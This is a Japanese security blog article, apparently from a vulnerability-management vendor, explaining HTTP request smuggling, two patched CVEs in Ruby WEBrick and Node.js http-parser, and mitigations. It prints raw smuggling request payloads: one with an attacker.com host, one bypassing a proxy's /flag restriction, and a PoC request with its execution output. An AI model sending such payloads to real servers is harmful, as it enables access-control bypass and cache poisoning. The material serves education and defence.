さまざまなサイバー攻撃に繋がる脆弱性 HTTP リクエストスマグリング
HTTP リクエストスマグリング(Http Request Smuggling, HRS)は、フロントエンドの Web サーバー(リバースプロキシー、ロードバランサーなど)とバックエンドの Web サーバーで、 HTTP リクエストに対し異なる解釈をしてしまうことで発生する脆弱性です。
この脆弱性が悪用されると、攻撃者によって作成されたリクエストを別のユーザーのリクエストに追加し、フィッシング、クロスサイトスクリプティング(XSS)、キャッシュ汚染、セキュリティ制御のバイパスなどの影響を受ける可能性があります。
本記事では HTTP リクエストスマグリングについての概要から対策方法についての解説と、実際に公開されているライブラリの脆弱性について少し掘り下げて解説します。
HTTP リクエストスマグリングの概要

HTTP リクエストスマグリングは、フロントエンドの Web サーバーと、バックエンドの Web サーバーで、HTTPリクエストを異なる解釈をしてしまうことで発生する脆弱性です。
最近の Web アプリケーションでは、利用者と実際に処理が行われるバックエンドのサーバーまでの間に、ロードバランサーや Web アプリケーションファイアウォール(WAF)など複数のサーバーを経由することが多くなっています。
攻撃者によって作成された不正な HTTP リクエストを解釈する際に、それぞれのサーバーが異なる解釈をしてしまうことによって、フロントエンドのサーバーではひとつのリクエストとして認識したものが、バックエンドのサーバーでは複数のリクエストと認識してしまう、といったことが起こるのです。
Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストの場合
解釈の違いを引き起こす例のひとつに、Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストがあります。
POST / HTTP/1.1
Host: example.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: attacker.com
X:
上記のようなリクエストを攻撃者が送り、フロントエンドのサーバーが Content-Length の方を解釈してそのままリクエストを送り、バックエンドのサーバーは Transfer-Encoding を解釈して以下のような 2 つのリクエストとして認識した場合、HTTP リクエストスマグリングの脆弱性を受け、悪意のある attacker.com のようなサイトへ誘導される可能性があります。
POST / HTTP/1.1
Host: example.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: attacker.com
X:
Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエスト以外にも、Content-Length ヘッダーが複数ある場合や Transfer-Encoding ヘッダーが難読化(Transfer-Encoding : chunked などコロンの前にスペースを入れているなど)されている場合などあります。
Content-Length ヘッダーと Transfer-Encoding ヘッダーの解釈ミスに関しては、PortSwigger の HTTP request smuggling に詳しく書かれています。
また、Lab を使って実際に HTTP リクエストスマグリングを体験することもできます。
このような HTTP リクエストスマグリングの問題は、現在の HTTP 仕様から逸脱している、RFC7230 に準拠していないサーバー(ライブラリ)が原因で発生しているといえます。
ライブラリに含まれる HTTP リクエストスマグリングの脆弱性
これまでの概要から、サーバーとして動作するライブラリで HTTP リクエストスマグリングが発生しうることがお分かりいただけたと思います。
そのため、対象となるものは Apache HTTP Server 、Apache Tomcat 、Netty 、Ruby の WEBrick 、Puma 、Node.js(http-parser, llhttp)などがあげられます。
これらの中からいくつか具体的な脆弱性を例に紹介したいと思います。
CVE-2020-25613 Ruby WEBrick
CVE ID | CVE-2020-25613 |
---|---|
HackerOne レポート | https://hackerone.com/reports/965267 |
修正コミット | ruby/webrick@8946bb3 |
報告日 | 2020 年 8 月 23 日 |
Bounty | $500 |
CVE-2020-25613 は Ruby 本体にもバンドルされているサーバー機能を持つ WEBrick の HTTP リクエストスマグリングの脆弱性に関するものです。
こちらの HackerOne のレポートから脆弱性の詳細を見てみると、修正前のコードでは
when /chunked/io then read_chunked(socket, block)
となっているため、Transfer-Encoding: AAAchunkedBBB
のようなchunked
の前後に不要な文字が入っている場合でも、正しく解釈してしまうという問題がありました。
レポート報告者による影響の例として、HAProxy を利用して/flag
へのアクセスを制限した場合でも以下のようなリクエストでバイパスできることが指摘されています。
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: AAA chunked BBB
Connection: keep-alive
Content-Length: 50
1
A
0
GET /flag HTTP/1.1
Host: 127.0.0.1
上記の例は、概要で説明した Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストを使ったものになっています。
HAProxy では Content-Length を使って解釈し、WEBrick では Transfer-Encoding を使って解釈することで WEBrick 側では 2 つのリクエストと認識してしまいます。
この問題の修正として以下のように正規表現をより厳格なものへと変更しています。
when /\Achunked\z/io then read_chunked(socket, block)
CVE-2019-15605 Node.js http-parser(llhttp)
CVE ID | CVE-2019-15605 |
---|---|
HackerOne レポート | https://hackerone.com/reports/735748 |
修正コミット | nodejs/http-parser@7d5c99d |
報告日 | 2019 年 11 月 12 日 |
Bounty | $250 |
CVE-2019-15605 は、Node.js で使われている http-parser、llhttp の Transfer-Encoding の解釈の部分に問題があるために、HTTP リクエストスマグリングを引き起こす可能性があるとされています。
こちらの HackerOneのレポートに詳細に解説された PDF と再現させるための PoC コードが用意されています。
PoC コードのリクエストを見てみると、Transfer-Encoding にchunked
以外の文字列がある場合に誤って解釈してしまう問題があることがわかります。
POST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 10
Transfer-Encoding: chunked, eee
HELLOWORLDPOST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 30
I AM A SMUGGLED REQUEST!!!
実際に Node.js のバージョンを修正されていない v12.14.1 などに設定してsmuggled-request.js
を実行してみると以下のように 2 つのリクエストとして解釈されることが確認できます。
$ node -v
v12.14.1
$ node smuggled-request.js
------listening
connected to express server!
SENDING DATA TO EXPRESS SERVER
EXPRESS HEADERS {
'content-type': 'text/plain; charset=utf-8',
host: 'hacker.exploit.com',
connection: 'keep-alive',
'content-length': '10',
'transfer-encoding': 'chunked, eee'
}
EXPRESS HEADERS {
'content-type': 'text/plain; charset=utf-8',
host: 'hacker.exploit.com',
connection: 'keep-alive',
'content-length': '30'
}
EXPRESS_GOT_REQUEST>>>>>>>HELLOWORLD<<<<<<END_REQUEST
EXPRESS_GOT_REQUEST>>>>>>>I AM A SMUGGLED REQUEST!!!
<<<<<<END_REQUEST
EXPRESS_CLIENT_GOT_RESPONSE>>>>>>>HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 27 Nov 2020 00:00:00 GMT
Connection: keep-alive
Content-Length: 19
HELLO FROM EXPRESS!HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 27 Nov 2020 00:00:00 GMT
Connection: keep-alive
Content-Length: 19
HELLO FROM EXPRESS!<<<<<<<<<<END_RESPONSE
disconnected from express server
本来であれば RFC7320 にあるように 400 Bad Request を返すべきものが Transfer-Encoding を無視した形でのリクエストと解釈されています。
また、Transfer-Encoding: chunked
でリクエストを送ると正しく 400 Bad Request を返すので、やはり, eee
のような不要な文字列が入ることで誤った解釈が行われてしまうことがわかります。
こちらの脆弱性は February 2020 Security Releases にあるように v10.19.0、v12.15.0、v13.8.0 で修正されています。
そのため、Node.js を v12.15.0 にアップデートして再度実行することで、以下のように 400 Bad Request が返ってくるようになります。
$ node -v
v12.15.0
$ node smuggled-request.js
------listening
connected to express server!
SENDING DATA TO EXPRESS SERVER
EXPRESS_CLIENT_GOT_RESPONSE>>>>>>>HTTP/1.1 400 Bad Request
Connection: close
<<<<<<<<<<END_RESPONSE
disconnected from express server
余談ですが、HackerOne で報告された PoC コードが Node.js のテストコードにも組み込まれていることも確認できます。
どのような対策を行えば良いのか
HTTP リクエストスマグリングは、フロントエンドとバックエンドのサーバーの解釈の違いから発生する問題のため、どちらも同じサーバーを使う、同じ HTTP パーサーを使うことで解決できますが、この対策を取ることが難しいケースも多いと思います。
バックエンドのサーバーとの通信に HTTP/2 を利用することで対策することもできます。
WAF を使ってリスクを軽減することもできますが、概要で述べたように WAF 自体も HTTP を解釈するので、正しく解釈すること、検知のためのルールが正しく設定されていることが求められます。
上記の対策以外に、これまで例に出した脆弱性に関しては既にパッチが提供されており、アップデートすることで対策することができます。
さいごに
HTTP リクエストスマグリングは古くから知られている脆弱性ではありますが、近年でも新たに脆弱性が発見されています。
最近では、Black Hat USA 2020 の HTTP REQUEST SMUGGLING IN 2020 で少し変形させたタイプの攻撃方法が発表されています。
OSS ライブラリを利用することで新しく発見された脆弱性に対応する必要が発生しますが、脆弱性レジリエンスを高めるための Clean Architectureに書かれているように、OSS を使わないという選択は難しいため、脆弱性対応しやすいアーキテクチャを採用し、常に脆弱性を検出・対応のフローを取りやすくしていくことが大切です。
yamory では、パッケージ管理システムで管理されているライブラリの脆弱性を自動で検出、対応優先順位付けするため、脆弱性の一元管理を行うことができます。
(今回紹介した Node.js 本体に含まれている http-parser などは現在非対応となっております。)
無料トライアルもできますので、ぜひ一度お試しください。
また、yamory ではセキュリティに関するイベントを随時開催中です。
こちら でイベント情報を更新しておりますのでお気軽にご参加くださいませ。